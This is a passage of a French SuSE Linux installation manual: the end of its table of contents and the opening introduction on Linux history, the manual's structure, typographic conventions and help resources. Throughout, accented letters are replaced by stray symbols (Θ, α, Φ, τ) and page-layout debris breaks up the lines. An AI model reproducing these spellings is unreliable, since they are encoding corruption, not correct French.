  773.               15.2.4      De 5.2 α 5.3        .       .       .       .       .       .       .        408
  774.  
  775.               15.2.5      De 5.3 α 6.0        .       .       .       .       .       .       .        409
  776.  
  777.               15.2.6      De 6.0 α 6.1        .       .       .       .       .       .       .        410
  778.  
  779.               15.2.7      De 6.1 α 6.2        .       .       .       .       .       .       .        410
  780.  
  781.               15.2.8      De 6.2 α 6.3        .       .       .       .       .       .       .        411
  782.  
  783.               15.2.9      De 6.3 α 6.4        .       .       .       .       .       .       .        413
  784.  
  785.       15.3     RPM ~ Le gestionnaire de paquetages de la distribution            415
  786.  
  787.               15.3.1      GΘrer les paquetages : Installer, mettre α jour et dΘs-
  788.                           installer      .       .       .       .       .       .       .       .        415
  789.  
  790.               15.3.2      Faire des requΩtes       .       .       .       .       .       .        417
  791.  
  792.               15.3.3      Installer et compiler les paquetages sources         .        419
  793.  
  794.               15.3.4      Outils pour archives et base de donnΘes RPM      .        420
  795.  
  796.  
  797. 16    ParticularitΘs sous SuSE      Linux                                                     423
  798.  
  799.       16.1     Filesystem  Hierarchy  Standard  (FHS)  et  Linux  Standard
  800.               Base (LSB)    .       .       .       .       .       .       .       .       .        423
  801.  
  802.               16.1.1      Environnements exemples pour FTP et HTTP      .        423
  803.  
  804.               16.1.2      teTeX  ~ TEX sous SuSE     Linux            .       .       .        423
  805.  
  806.  
  807.                                                                                                                                    *
  808.  *     ix
  809. Table des matiΦres_________________________________________________________________________________________________________________*
  810.  *_______________________________________@
  811.  
  812.  
  813.  
  814.                                  16.2     Amorτage avec le ``disque virtuel initial''         .       .       .        424
  815.                                          16.2.1      Concept du disque virtuel initial          .       .       .        424
  816.  
  817.                                          16.2.2      DΘroulement du processus d'amorτage avec initrd        424
  818.  
  819.                                          16.2.3      Gestionnaires d'amorτage           .       .       .       .        425
  820.  
  821.                                          16.2.4      Utilisation d'initrd       avec SuSE             .       .       .        426
  822.  
  823.                                          16.2.5      DifficultΘs Θventuelles ~ Noyau compilΘ par l'utili-
  824.                                                      sateur         .       .       .       .       .       .       .       .      *
  825.  *  427
  826.  
  827.                                          16.2.6      Perspectives       .       .       .       .       .       .       .        428
  828.  
  829.                                  16.3     linuxrc           .       .       .       .       .       .       .       .       .      *
  830.  *  429
  831.  
  832.                                  16.4     Le systΦme d'aide pour SuSE     Linux        .       .       .       .        435
  833.  
  834.                                          16.4.1      Configuration pour systΦme monoposte ou systΦme
  835.                                                      serveur       .       .       .       .       .       .       .       .       *
  836.  * 436
  837.  
  838.                                          16.4.2      Configuration pour une machine client        .       .        437
  839.  
  840.                                          16.4.3      Utiliser le systΦme d'aide            .       .       .       .        437
  841.  
  842.                                  16.5     Le systΦme de secours SuSE               .       .       .       .       .        438
  843.  
  844.                                  16.6     Informations sur les paquetages logiciels spΘciaux           .        442
  845.  
  846.                                          16.6.1      paquetage cron          .       .       .       .       .       .        442
  847.  
  848.                                          16.6.2      paquetage curses      .       .       .       .       .       .        442
  849.  
  850.                                          16.6.3      Sources du paquetage uucp         .       .       .       .        443
  851.  
  852.                                          16.6.4      Pages de man      .       .       .       .       .       .       .        443
  853.  
  854.                                  16.7     Disposition du clavier     .       .       .       .       .       .       .        443
  855.  
  856.  
  857.                            17    Le concept d'amorτage de SuSE      Linux                                         445
  858.  
  859.                                  17.1     Le programme init          .       .       .       .       .       .       .        445
  860.  
  861.                                  17.2     Les niveaux d'exΘcution         .       .       .       .       .       .        446
  862.  
  863.                                  17.3     Changement de niveau d'exΘcution         .       .       .       .        447
  864.  
  865.                                  17.4     Les scripts init        .       .       .       .       .       .       .       .        *
  866.  *448
  867.  
  868.                                  17.5     /etc/rc.config             et SuSEconfig             .       .       .       .        450
  869.  
  870.                                  17.6     Les variables /etc/rc.config              des Systems          .       .        451
  871.                            VIII     SΘcuritΘ et autres astuces                                              463
  872.  
  873.  
  874.                            18    La sΘcuritΘ est une question de confiance                                      465
  875.  
  876.                                  18.1     Principes de base            .       .       .       .       .       .       .        465
  877.  
  878.                                          18.1.1      SΘcuritΘ locale            .       .       .       .       .       .        466
  879.  
  880.                                          18.1.2      SΘcuritΘ rΘseau           .       .       .       .       .       .        470
  881.  
  882.                                  18.2     Outils     .       .       .       .       .       .       .       .       .       .     *
  883.  *   471
  884.  
  885.                                          18.2.1      Outils locaux      .       .       .       .       .       .       .        472
  886.  
  887.                                          18.2.2      Outils rΘseau      .       .       .       .       .       .       .        475
  888.  
  889.                                  18.3     SΘcuritΘ sous SuSE     Linux       .       .       .       .       .       .        480
  890.  
  891.                                  18.4     Informations d'ordre gΘnΘral           .       .       .       .       .        480
  892.  
  893.  
  894. x
  895.        _______________________________________________________________________________________________________Table_des_matiΦres___*
  896.  *______________________
  897.  
  898.  
  899.  
  900. 19    DΘbuts sous Linux                                                                        481
  901.       19.1     Connexion au systΦme, utilisateur `root', crΘer un compte
  902.  
  903.               utilisateur       .       .       .       .       .       .       .       .       .        482
  904.  
  905.       19.2     ArrΩt du systΦme et amorτage         .       .       .       .       .        483
  906.  
  907.       19.3     Commandes et lignes de commandes      .       .       .       .        483
  908.  
  909.       19.4     Consoles virturelles        .       .       .       .       .       .       .        485
  910.  
  911.       19.5     RΘpertoires et noms de fichiers        .       .       .       .       .        485
  912.  
  913.       19.6     Travailler avec les rΘpertoires          .       .       .       .       .        486
  914.  
  915.       19.7     Travailler avec les fichiers       .       .       .       .       .       .        486
  916.  
  917.               19.7.1      Informations sur les fichiers        .       .       .       .        487
  918.  
  919.               19.7.2      Wildcards ~ un petit coup d'oeil          .       .       .        488
  920.  
  921.               19.7.3      Contenu des fichiers           .       .       .       .       .        489
  922.  
  923.               19.7.4      Fichiers cachΘs           .       .       .       .       .       .        490
  924.  
  925.               19.7.5      Copier, renommer et effacer des fichiers      .       .        490
  926.  
  927.               19.7.6      Recherche et exploration de fichiers    .       .       .        491
  928.  
  929.               19.7.7      Liens symboliques      .       .       .       .       .       .        491
  930.  
  931.               19.7.8      Archivage et sauvegarde de donnΘes            .       .        492
  932.  
  933.       19.8     Droits d'accΦs aux fichiers      .       .       .       .       .       .        492
  934.  
  935.       19.9     Pages de man         .       .       .       .       .       .       .       .        494
  936.  
  937.       19.10    Informations sur l'Θtat du systΦme           .       .       .       .        496
  938.  
  939.               19.10.1     La commande df          .       .       .       .       .       .        496
  940.  
  941.               19.10.2     La commande free                .       .       .       .       .        496
  942.  
  943.               19.10.3     La commande ulimit              .       .       .       .       .        496
  944.  
  945.               19.10.4     La commande w           .       .       .       .       .       .        498
  946.  
  947.               19.10.5     La commande du          .       .       .       .       .       .        498
  948.  
  949.               19.10.6     La commande kill                .       .       .       .       .        498
  950.  
  951.               19.10.7     La commande ps          .       .       .       .       .       .        498
  952.  
  953.               19.10.8     La commande pstree              .       .       .       .       .        499
  954.  
  955.               19.10.9     La commande top         .       .       .       .       .       .        499
  956.  
  957.       19.11    SystΦmes de fichiers sous Linux ~ mount      et umount              .        499
  958.  
  959.               19.11.1     Vue d'ensemble          .       .       .       .       .       .        499
  960.  
  961.               19.11.2     Montage et dΘmontage de systΦmes de fichiers    .        500
  962.  
  963.       19.12    Commandes DOS sous Unix avec mtools         .       .       .        501
  964.  
  965.       19.13    Vue d'ensemble des commandes Unix     .       .       .       .        503
  966.  
  967.       19.14    Pour terminer         .       .       .       .       .       .       .       .        505
  968.  
  969.       19.15    L'Θditeur vi     .       .       .       .       .       .       .       .       .        506
  970.  
  971.  
  972. A     Combinaisons de touches importantes                                          509
  973.  
  974.  
  975. B     Glossaire                                                                                       511
  976.  
  977.  
  978.                                                                                                                                    *
  979.  *     xi
  980. Table des matiΦres_________________________________________________________________________________________________________________*
  981.  *_______________________________________@
  982.  
  983.  
  984.  
  985.                            C     L'arborescence des rΘpertoires                                                      529
  986.                                  C.1      Aperτu           .       .       .       .       .       .       .       .       .       *
  987.  * 529
  988.  
  989.                                  C.2      RΘpertoires importants            .       .       .       .       .       .        530
  990.  
  991.  
  992.                            D     Fichiers importants                                                                      531
  993.  
  994.                                  D.1      Fichiers de pΘriphΘriques dans le rΘpertoire /dev         .       .        531
  995.  
  996.                                          D.1.1       Lecteurs de CD-ROM         .       .       .       .       .        531
  997.  
  998.                                          D.1.2       Lecteurs de bandes     .       .       .       .       .       .        532
  999.  
  1000.                                          D.1.3       Souris (Bus et PS/2)           .       .       .       .       .        532
  1001.  
  1002.                                          D.1.4       Modem      .       .       .       .       .       .       .       .        533
  1003.  
  1004.                                          D.1.5       Interfaces sΘrie           .       .       .       .       .       .        533
  1005.  
  1006.                                          D.1.6       Interfaces parallΦles            .       .       .       .       .        533
  1007.  
  1008.                                          D.1.7       PΘriphΘriques spΘciaux       .       .       .       .       .        534
  1009.  
  1010.                                  D.2      Fichiers de configuration dans /etc            .       .       .       .        534
  1011.  
  1012.                                  D.3      Fichiers de configuration cachΘs dans le rΘpertoire personnel
  1013.                                          (Home)          .       .       .       .       .       .       .       .       .        5*
  1014.  *35
  1015.  
  1016.  
  1017.                            E     Page de manuel de e2fsck                                                              537
  1018.  
  1019.  
  1020.                            F     La FAQ de SuSE      Linux                                                                 541
  1021.  
  1022.  
  1023.                            G     Licence Publique GΘnΘrale GNU (GPL)                                       549
  1024.  
  1025.  
  1026.                            H     Assistance Technique et services de SuSE      GmbH                          557
  1027.  
  1028.                                  H.1      60 jours d'Assistance Technique α l'Installation       .       .        557
  1029.  
  1030.                                          H.1.1       Sans  enregistrement,  pas  d'Assistance  Technique  α
  1031.                                                      l'Installation !     .       .       .       .       .       .       .        *
  1032.  *557
  1033.  
  1034.                                          H.1.2       PrΘsentation de l'Assistance Technique α l'Installa-
  1035.                                                      tion            .       .       .       .       .       .       .       .     *
  1036.  *   558
  1037.  
  1038.                                  H.2      Le chemin le plus court qui mΦne α l'aide !      .       .       .        559
  1039.  
  1040.                                          H.2.1       Comment   contacter   l'Θquipe   d'Assistance   Tech-
  1041.                                                      nique SuSE     ?      .       .       .       .       .       .       .       *
  1042.  * 560
  1043.  
  1044.                                  H.3      SuSE     Service Pro           .       .       .       .       .       .       .        5*
  1045.  *61
  1046.  
  1047.                                          H.3.1       Projets individuels et consultation       .       .       .        562
  1048.  
  1049.                                  H.4      Formation      .       .       .       .       .       .       .       .       .        5*
  1050.  *63
  1051.  
  1052.                                  H.5      Vos rΘactions          .       .       .       .       .       .       .       .        5*
  1053.  *63
  1054.  
  1055.                                  H.6      Autres services       .       .       .       .       .       .       .       .        563
  1056. xii
  1057.  
  1058.  
  1059. PremiΦre  partie
  1060.  
  1061.  
  1062.  Introduction
  1063.  
  1064.  
  1065.                                                                                                           1
  1066.  
  1067.  
  1068.                                                                                                            Chapitre  1
  1069.                                                                                           Introduction
  1070.  
  1071.  
  1072. L'histoire  de  Linux  ressemble  α  un  conte  moderne  :  En  1991,  un  Θtudiant
  1073. finlandais en informatique, Linus Torvalds commence α programmer sa
  1074. propre  version  Unix.  Non  seulement  il  publie  des  binaires,  c'est-α-dire  des
  1075. programmes fonctionnels en langage machine mais il en diffuse aussi le code
  1076. source  sur  Internet  qui  connaεt  une  rapide  expansion.  Son  invitation  attire
  1077. bient⌠t des centaines de programmeurs du monde entier qui se mettent α col-
  1078. laborer ~ gratuitement et pendant leurs loisirs ~ au dΘveloppement de Linux.
  1079. Ils ne sont pas motivΘs par un intΘrΩt d'ordre commercial mais par le plaisir
  1080. de  travailler,  seuls  ou  en  Θquipe,  α  rΘsoudre  les  problΦmes,  α  surmonter  les
  1081. difficultΘs, α ajouter de nouvelles fonctions et α perfectionner ainsi le systΦme
  1082. d'exploitation. Seule obligation : le travail rΘalisΘ ~ y compris le code source
  1083. modifiΘ ~ doit Ωtre mis α la disposition de la communautΘ des programmeurs.
  1084. Les bases juridiques sont dΘfinies par la GNU General Public License (GPL)
  1085. dont vous trouverez le texte α l'annexe G page 549.
  1086.  
  1087. Qui choisit aujourd'hui Linux comme systΦme d'exploitation a le plus sou-
  1088. vent tout un tas de bonnes raisons : la stabilitΘ et la performance sont invo-
  1089. quΘes en premier lieu ; et aussi les fonctionnalitΘs rΘseaux trΦs Θtendues qui
  1090. ont permis α Linux de conquΘrir Internet et de s'imposer sur le marchΘ des ser-
  1091. veurs. Les connaisseurs de Linux apprΘcient la disponibilitΘ du code source
  1092. dont  dΘcoulent  l'autonomie  et  la  flexibilitΘ  du  systΦme.  GrΓce  aux  sources
  1093. libres, l'utilisateur n'est plus α la merci d'un fabricant de logiciels mais peut
  1094. lui-mΩme personnaliser les programmes et leur apporter des extensions.
  1095.  
  1096. En plus de tous ces arguments en faveur de Linux, c'est surtout la demande
  1097. impressionnante  et  l'intΘrΩt  considΘrable  de  la  part  des  utilisateurs  qui  ont
  1098. incitΘ  de  nombreux  fabricants  de  matΘriel  et  de  logiciels  α  apporter  un  ap-
  1099. pui concret et actif α Linux. Siemens , IBM  et Compaq  ~ pour ne citer que
  1100. quelques ``grands'' noms ~ ont dΘcouvert Linux comme systΦme d'exploita-
  1101. tion.
  1102.  
  1103. Outre les innombrables programmes d'application gratuits, il existe de plus
  1104. en plus de logiciels commerciaux pour Linux : Les constructeurs de bases de
  1105. donnΘes tels que Oracle , Informix , Software AG et Sybase ainsi que les four-
  1106. nisseurs  de  solutions  bureautiques  comme  Applix ,  Corel  ou  Star  Division
  1107. proposent maintenant leurs produits pour Linux. Linux est un bon systΦme,
  1108. il s'amΘliore constamment et ne co√te rien ! Il suffit de voir l'enthousiasme
  1109. qui rΦgne au sein de la communautΘ Linux qui compte plus de dix millions
  1110.  
  1111.  
  1112.                                                                                                                                    *
  1113.  *      3
  1114. 1.  Introduction  _________________________________________________________________________________________________________________*
  1115.  *_______________________________________@
  1116.  
  1117.  
  1118.  
  1119.                            d'utilisateurs et continue α s'accroεtre pour constater que Linux possΦde tous
  1120.                            les atouts pour devenir un standard industriel.
  1121.                            Mais  ce  n'est  pas  tout  :  Avec  KDE  et  GNOME ,  il  existe  α  prΘsent  deux
  1122.                            interfaces graphiques confortables et librement disponibles qui rΘpondent α
  1123.                            la demande de plus en plus pressante des utilisateurs qui rΘclament ``Linux
  1124.                            sur le bureau !''.
  1125.  
  1126.  
  1127.  
  1128.                            1.1       Qu'est-ce que ``Linux'' ?
  1129.  
  1130.                            Il  convient,  lorsque  l'on  parle  de  ``Linux'',  de  dΘfinir  d'abord  ce  que  l'on
  1131.                            entend  par  ce  mot.  Linux  dans  le  sens  strict  du  terme  est  le  +  noyau
  1132.                            (angl. kernel)       qui est le ``coeur'' de chaque systΦme d'exploitation UNIX.
  1133.  
  1134.                            Un  noyau  n'est  cependant  pas  par  lui-mΩme  un  systΦme  d'exploitation.  Il
  1135.                            existe, prΘcisΘment pour UNIX, une offre gigantesque de logiciels libres. De
  1136.                            ce fait, pratiquement tous les utilitaires courants sous UNIX sont aussi dispo-
  1137.                            nibles pour Linux. Ceux-ci constituent le systΦme d'exploitation proprement
  1138.                            dit.
  1139.  
  1140.                            Dans  la  majoritΘ  des  cas,  il  s'agit  des  versions  +  GNU  de  certains  pro-
  1141.                            grammes UNIX qui offrent mΩme trΦs souvent une plus grande fonctionnalitΘ
  1142.                            et dont la plus connue est le GNU C/C++ Compiler , l'un des meilleurs com-
  1143.                            pilateurs qui existent. Il convient aussi de ne pas oublier les nombreux petits
  1144.                            outils, et mΩme ceux un peu plus grands, que l'on peut utiliser depuis la ligne
  1145.                            de commande, dans des scripts shell ou comme programmes indΘpendants :
  1146.                            α  commencer  par  les  utilitaires  shell,  fichiers  et  textes  en  passant  par  sed ,
  1147.                            awk  et perl  pour arriver aux Θditeurs (vi ) ou aux environnements de travail
  1148.                            complets (Emacs ).
  1149.  
  1150.                            Tout ceci est complΘtΘ par XFree86  TM   (version actuelle 3.3.6), le systΦme
  1151.                            X  Window  (actuellement   X11  Release  6.3)  pour  ordinateurs  basΘs  sur  le
  1152.                            systΦme UNIX. Ce portage est dΘrivΘ de la distribution officielle X11R6.3 du
  1153.                            X Consortium, Inc. et il est donc entiΦrement compatible avec ce standard.
  1154.  
  1155.                            Tous  ces  composants,  avec  les  programmes  (par  exemple  TEX,  le  systΦme
  1156.                            de traitement de texte) et goodies supplΘmentaires (comme par exemple les
  1157.                            jeux), constituent ce que l'on appelle communΘment Linux.
  1158.  
  1159.                            Ainsi que nous l'avons dΘjα fait remarquer, il existe un rΘservoir pour ainsi
  1160.                            dire  inΘpuisable  de  logiciels  libres,  ce  qui  donne  un  nombre  pratiquement
  1161.                            infini de possibilitΘs de construire un systΦme Linux.
  1162.  
  1163.                            C'est ici que les distributions Linux, telles que la prΘsente distribution SuSE
  1164.                            Linux, entrent en jeu. Les distributeurs examinent l'offre gigantesque de logi-
  1165.                            ciels librement diffusables et font une sΘlection. Le rΘsultat de cette sΘlection
  1166.                            est actuellement , dans le cas de SuSE     Linux, un ensemble d'environ 1000 pa-
  1167.                            quetages logiciels qui sont, (le plus souvent) en raison de leur volume, fournis
  1168.                            sur CD.
  1169.                            ________________________________________________________________________________________________________*
  1170.  *________||
  1171.                            |  Outre  les  logiciels  libres  -  logiciels  dont  les  sources  sont  disponibles  et               *
  1172.  *        ||||
  1173.                            |                                                                                                       *
  1174.  *        |||
  1175.                            |  de  ce  fait  inclus  dans  les  prΘsents  CD-ROM,  la  distribution  SuSE      Li-                  *
  1176.  *        |||
  1177.                            |  nux contient aussi des paquetages logiciels qui, pour diverses raisons, ne                           *
  1178.  *        |||
  1179.                            |                                                                                                       *
  1180.  *        |||
  1181.                            |  peuvent Ωtre fournis par SuSE     que sous forme compilΘe.                                           *
  1182.  *        |||
  1183.                            |_______________________________________________________________________________________________________*
  1184.  *________|||_
  1185.  
  1186.  
  1187. 4
  1188.        ______________________________________________________1.2.__But_de_ce_manuel_~_Conseils_pour_l'utilisation__________________*
  1189.  *______________________
  1190.  
  1191.  
  1192.  
  1193. Par  ailleurs,  les  distributions  sont  pour  la  plupart  librement  accessibles  sur
  1194. Internet,  de  sorte  qu'une  mise  α  jour  occasionnelle  du  systΦme  n'implique
  1195. pas obligatoirement l'achat d'une nouvelle distribution.
  1196.  
  1197.  
  1198.  
  1199. 1.2       But de ce manuel ~ Conseils pour l'utilisation
  1200.  
  1201. Nous avons explicitement conτu ce manuel comme une aide α l'installation.
  1202. Mais  il  ne  peut  pas  et  ne  doit  pas  se  substituer  α  une  documentation  plus
  1203. poussΘe  qui  pourra  permettre  α  l'utilisateur  intΘressΘ  de  pΘnΘtrer  plus  pro-
  1204. fondΘment dans le monde fascinant de l'informatique de haute performance.
  1205. ~  Voir  α  ce  sujet  la  bibliographie  α  la  fin  du  prΘsent  manuel  (chapitre  17.6
  1206. page 565) !
  1207.  
  1208. Pour une premiΦre installation, il suffit de lire le chapitre 2 page 15 qui se base
  1209. sur la pratique. Un novice de Linux ne devrait en aucun cas partir α l'aventure
  1210. sans  aucune  lecture  prΘalable.  Si  vous  voulez  augmenter  votre  efficacitΘ  et
  1211. vous  Θpargnez  des  frustrations,  prenez  la  peine  de  feuilleter  auparavant  le
  1212. prΘsent manuel : : :
  1213.  
  1214. La dynamique de Linux et des logiciels librement diffusables rend difficile
  1215. l'Θlaboration d'une documentation d'accompagnement qui tienne compte des
  1216. tout derniers dΘveloppements et soit en mΩme temps utilisable pour une ini-
  1217. tiation au monde UNIX (sans Ωtre ennuyeuse pour les ``vΘtΘrans''). Le prΘsent
  1218. ouvrage tente de concilier ces exigences.
  1219.  
  1220. Le but de ce manuel est de permettre aux nouveaux venus sous Linux un dΘ-
  1221. part encourageant pour un voyage de dΘcouverte dans leur nouveau systΦme.
  1222.  
  1223. Ce manuel comprend, en substance, les parties suivantes :
  1224.  
  1225. Guide d'installation :             Cette  partie  du  livre,  qui  prΘsente  une  installation
  1226.       exemple commentΘe (chapitre 2 page 15), accompagne le nouveau venu
  1227.       sous Linux lors de ses premiers pas dans le systΦme. Elle attire son atten-
  1228.       tion sur les sources possibles d'erreurs et donne des instructions concrΦtes
  1229.       pour remΘdier aux problΦmes qui pourraient Θventuellement survenir lors
  1230.       de l'installation.
  1231.  
  1232.       On abordera ici l'application du programme d'installation et d'adminis-
  1233.       tration YaST TM   de SuSE     (chapitre 3 page 81) et il sera expliquΘ comment
  1234.       amorcer le noyau (chapitre 4 page 117).
  1235.  
  1236. Configuration rΘseau :               Lorsque  le  systΦme  de  base  est  en  marche,  le  mo-
  1237.       ment est venu de penser α la connexion rΘseau (chapitre 5 page 153) et α
  1238.       l'accΦs α Internet (chapitre 5.3 page 171).
  1239.  
  1240. Interface utilisateur graphique :                   L'activation    de    l'interface    utilisateur
  1241.       XFree86  est  le  sujet  de  la  partie  qui  s'Θtend  du  chapitre  8  page  239
  1242.       au chapitre 9 page 265.
  1243.  
  1244. Son, scanners, notebooks, imprimantes, etc. :                           Du chapitre 10 page 293 au
  1245.       chapitre 12 page 333, il sera fait un tour d'horizon des possibilitΘs de votre
  1246.       matΘriel.
  1247.  
  1248. Linux ~ le noyau :            Nous  passons  ici  au  plat  de  rΘsistance  :  le  chapitre  13
  1249.       page  359  et  le  chapitre  14  page  367  vous  prΘsentent  le  noyau  Linux  et
  1250.       vous guident dans la rΘalisation et l'utilisation de votre propre noyau.
  1251.  
  1252.  
  1253.                                                                                                                                    *
  1254.  *      5
  1255. 1.  Introduction  _________________________________________________________________________________________________________________*
  1256.  *_______________________________________@
  1257.  
  1258.  
  1259.  
  1260.                            Mise α jour, paquetages logiciels, principe d'amorτage :                                Nous   parlerons
  1261.                                  des stratΘgies de mise α jour et nous aborderons la question de la gestion
  1262.                                  des logiciels (chapitre 15 page 403). Certaines caractΘristiques de SuSE
  1263.                                  Linux seront examinΘes de plus prΦs et le dΘmarrage du systΦme (concept
  1264.                                  d'amorτage) vous sera prΘsentΘ (chapitre 17 page 445).
  1265.  
  1266.                            ``SΘcuritΘ'' et introduction α Linux :                   Les concepts de sΘcuritΘ (chapitre 18
  1267.                                  page  465)  et  les  conseils  pour  bien  dΘmarrer  sous  Linux  (chapitre  19
  1268.                                  page 481) se trouvent rΘunis α la fin : les procΘdures et les commandes
  1269.                                  essentielles sous Linux font ici l'objet de notre attention.
  1270.  
  1271.                            Annexe technique :              Dans  l'annexe,  vous  trouverez  une  liste  des  fichiers
  1272.                                  de  configuration  essentiels,  des  combinaisons  de  touches  les  plus  im-
  1273.                                  portantes, quelques exemples de fichiers, une convention de licence, les
  1274.                                  questions frΘquemment posΘes au sujet de SuSE      Linux (FAQ, annexe F
  1275.                                  page 541), etc : : :
  1276.  
  1277.                            Assistance technique :              Le r⌠le de l'Assistance Technique α l'Installation et
  1278.                                  les possibilitΘs offertes par le Service Pro plus poussΘ vous sont prΘsentΘes
  1279.                                  α l'annexe H page 557 ~ Prenez connaissance de tous les dΘtails si vous
  1280.                                  souhaitez nous contacter !
  1281.  
  1282.                            Glossaire, bibliographie et index :                    : : : Et si jusqu'α prΘsent quelque chose
  1283.                                  vous a manquΘ, vous pouvez consulter le volumineux index et le glossaire,
  1284.                                  soit  pour  savoir  o∙  trouver  l'explication  de  termes  essentiels,  soit  tout
  1285.                                  simplement pour Θlargir vos connaissances gΘnΘrales au sujet de Linux,
  1286.                                  de UNIX ou des ordinateurs.
  1287.  
  1288.  
  1289.                            1.3       LΘgende - ou que signifie ``terre:   #  ls''
  1290.  
  1291.                            Nous nous efforτons, tout au long de ce manuel, d'utiliser constamment la
  1292.                            mΩme convention typographique pour faire ressortir les mΩmes choses. Les
  1293.                            distinctions principales sont expliquΘes dans le tableau 1.1 page suivante.
  1294.  
  1295.                             _______________________________________________________________________________________________________*
  1296.  *_________
  1297.  
  1298.                             __Distinction_________________________________________Signification____________________________________*
  1299.  *_________
  1300.                               Linus Torvalds                                      personne importante
  1301.                               YaST  (yast    )                                    invoquer le programme YaST  par la
  1302.                                                                                   commande yast
  1303.                               Adabas D                                            le produit Adabas D
  1304.                               /etc/passwd                                         nom d'un fichier ou d'un rΘpertoire
  1305.                               <fichier>                                           α l'entrΘe de la commande, fichier
  1306.                                                                                   doit   Ωtre   remplacΘ   par   la   valeur
  1307.                                                                                   rΘelle.  Les  parenthΦses  pointues  ne
  1308.                                                                                   doivent pas Ωtre tapΘes !
  1309.                               PATH                                                la variable d'environnement du nom
  1310.                                                                                   de PATH
  1311.                               192.168.1.2                                         la valeur d'une variable
  1312.                               ls                                                  la commande α lancer est ls
  1313.  
  1314.                             _______________________________________________________________________________________________________*
  1315.  *_________
  1316.  
  1317.                                                       Tab. 1.1: Continuer α la page suivante...
  1318.  
  1319.  
  1320. 6
  1321.        ____________________________________________________________________1.4.__La_lutte_avec_le_nombre_de_pages_:_:_:____________*
  1322.  *______________________
  1323.  
  1324.        ______________________________________________________________________________________________________________________
  1325.  
  1326.  
  1327.    `news'                                               l'utilisateur news
  1328.    terre:   #  susehelp                                 shell  `root'  dans  le  rΘpertoire  ~,
  1329.                                                         (`~'  est  ici  le  ``rΘpertoire  person-
  1330.                                                         nel''  de  l'utilisateur  concernΘ,  +  rΘ-
  1331.                                                         pertoire  personnel,  la  commande  α
  1332.                                                         lancer est susehelp
  1333.    tux@terre:/tmp  >  ls                                shell  de  l'utilisateur  `tux'  dans  le
  1334.                                                         rΘpertoire /tmp, la commande α lan-
  1335.                                                         cer  est  ls   ~  └  propos,  Tux  est  le
  1336.                                                         nom officiel du pingouin Linux : : :
  1337.    C  :\>  fdisk                                        invite de DOS avec entrΘe de la com-
  1338.                                                         mande fdisk
  1339.     Alt||||||__                                         l'une des touches α actionner est ici
  1340.  
  1341.                                                         la touche ``Alt''
  1342.     Ctr||||||___l+ |A_____|lt+ |S________|uppr          Les  touches  α  actionner  simultanΘ-
  1343.  
  1344.                                                         ment sont reliΘes les unes aux autres
  1345.                                                         par  le  signe  `+' ;  les  touches  α  ac-
  1346.                                                         tionner les unes aprΦs les autres sont
  1347.                                                         sΘparΘes par un espace.
  1348.    "Permission  denied"                                 annonces du systΦme
  1349.    `Mettre  α  jour  le  systΦ-                         l'option du menu `Mettre  α  jour
  1350.    me'                                                  le  systΦme'
  1351.    Tartempion S.A.R.L                                   la firme ``Tartempion S.A.R.L''
  1352.    +                                                    renvoi  au  glossaire  (voir  annexe  B
  1353.                                                         page 511)
  1354.  
  1355.        ______________________________________________________________________________________________________________________
  1356.  
  1357.            Tab. 1.1: Signification des distinctions contenues dans le texte
  1358.  
  1359. 1.4       La lutte avec le nombre de pages : : :
  1360.  
  1361.  
  1362. Le prΘsent manuel ne peut avoir qu'un nombre limitΘ de pages alors que la
  1363. quantitΘ de logiciels disponibles pour Linux s'accroεt α l'infini. C'est pour-
  1364. quoi il ne faut pas omettre de mentionner ici la documentation disponible en
  1365. ligne.
  1366.  
  1367. Nous  avons  cependant  pu  trouvΘ  dans  le  manuel  la  place  nΘcessaire  pour
  1368. vous  apporter  une  aide  lors  de  vos  ``premiers  pas''  (connexion  au  systΦme,
  1369. copie, effacement et Θdition de fichiers, accΦs aux lecteurs de CD-ROM ou de
  1370. disquettes, etc. ; voir chapitre 19 page 481 et pages suivantes).
  1371.  
  1372.  
  1373.  
  1374. 1.4.1      Base de donnΘes support
  1375.  
  1376. Nous avons dΘjα donnΘ des rΘponses α de nombreuses questions et apportΘ
  1377. des solutions α de nombreux problΦmes. Nous les mettons α votre disposition
  1378. en ligne, 24 heures sur 24, dans notre base de donnΘes support qui contient
  1379. plusieurs centaines d'articles : http://sdb.suse.de/sdb/fr/html/.
  1380.  
  1381.  
  1382.                                                                                                                                    *
  1383.  *      7
  1384. 1.  Introduction  _________________________________________________________________________________________________________________*
  1385.  *_______________________________________@
  1386.  
  1387.  
  1388.  
  1389.                            Outre cette possibilitΘ qui vous est offerte en ligne, le contenu de la base de
  1390.                            donnΘes support est Θgalement inclus dans le paquetage sdb_en, sΘrie doc
  1391.                            sur votre CD SuSE      Linux. Vous pouvez lire les articles avec un navigateur
  1392.                            Web (arena , lynx , netscape ).
  1393.  
  1394.  
  1395.                            1.4.2      Aide hypertexte
  1396.  
  1397.                            Une grande partie de la documentation est disponible sous forme d'hypertexte.
  1398.                            Le systΦme hypertexte est lancΘ par la commande susehelp       . Le programme
  1399.                            (``navigateur'')  α  lancer  pour  la  lecture  de  la  documentation  sera  diffΘrent
  1400.                            selon que le systΦme X Window est ou non en marche. Sous X, on lance le
  1401.                            Communicator de Netscape (figure 1.1). Sur la console texte, on utilise lynx .
  1402.  
  1403.                                         Fig. 1.1: Page de dΘmarrage du systΦme d'aide (Netscape)
  1404.  
  1405.  
  1406.                            D'autres options du systΦme d'aide peuvent Ωtre obtenues en invoquant
  1407.  
  1408.  
  1409. 8
  1410.        ____________________________________________________________________1.4.__La_lutte_avec_le_nombre_de_pages_:_:_:____________*
  1411.  *______________________
  1412.  
  1413.  
  1414.  
  1415.       tux@terre:/home/tux  >  susehelp  -help
  1416. La mise en place du systΦme d'aide est traitΘe au paragraphe 16.4 page 435.
  1417.  
  1418.  
  1419. 1.4.3      Texinfo et Info
  1420.  
  1421. Certains paquetages logiciels contiennent une documentation sous forme de
  1422. fichiers Texinfo pouvant Ωtre convertis au format Info. ``Info'' est une autre
  1423. forme  d'hypertexte.  Cette  documentation  peut  Ωtre  lue  avec  le  programme
  1424. Infoviewer  (info    ) ou avec Emacs  (emacs     ) dans le mode Info. Sous le sys-
  1425. tΦme X Window, on peut lire ces fichiers aisΘment avec le programme tkInfo
  1426. (tkinfo      ). Par contre XInfo (xinfo     ) est un programme X plut⌠t ``revΩche''.
  1427.  
  1428. On  peut  Θgalement  lire  ces  documents  en  passant  par  le  systΦme  d'aide  de
  1429. SuSE      (voir page 436).
  1430.  
  1431.  
  1432. 1.4.4      Manuels Unix (``pages de man'')
  1433.  
  1434. Pour  les  systΦmes  Unix,  la  mΘthode  habituelle  pour  obtenir  des  informa-
  1435. tions sur les programmes ou les commandes consiste α entrer man    (voir para-
